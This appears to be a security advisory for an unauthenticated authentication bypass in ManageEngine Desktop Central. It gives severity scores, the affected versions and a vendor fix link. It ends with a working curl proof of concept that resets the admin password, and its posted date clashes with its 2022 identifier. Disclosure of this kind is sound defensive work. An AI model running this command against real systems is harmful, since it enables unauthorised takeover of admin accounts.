SRC-2022-0001 : Zoho ManageEngine Desktop Central StateFilter Arbitrary Forward Authentication Bypass Vulnerability

2019-12-1200:00:00

Steven Seeley of Source Incite

srcincite.io

130

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.974 High

EPSS

Percentile

99.9%

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Vulnerability Details:

This vulnerability allows remote attackers to bypass authentication on affected installations of ManageEngine Desktop Central. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the StateFilter class. The issue results from an arbitrary forward during request handling. An attacker can leverage this vulnerability to bypass authentication on the system and reset the administrators password.

Affected Vendors:

Zoho

Affected Products:

ManageEngine Desktop Central and ManageEngine Desktop Central MSP <= 10.1.2137.2

Vendor Response:

Zoho has issued an update to correct this vulnerability. More details can be found at: <https://www.manageengine.com/products/desktop-central/cve-2021-44515-authentication-bypass-filter-configuration.html>

curl -kb "STATE_COOKIE=&_REQS/_TIME/1337" "https://target.tld:8383/STATE_ID/1337/changeDefaultAmazonPassword?loginName=admin&newUserPassword=haxed" -d ""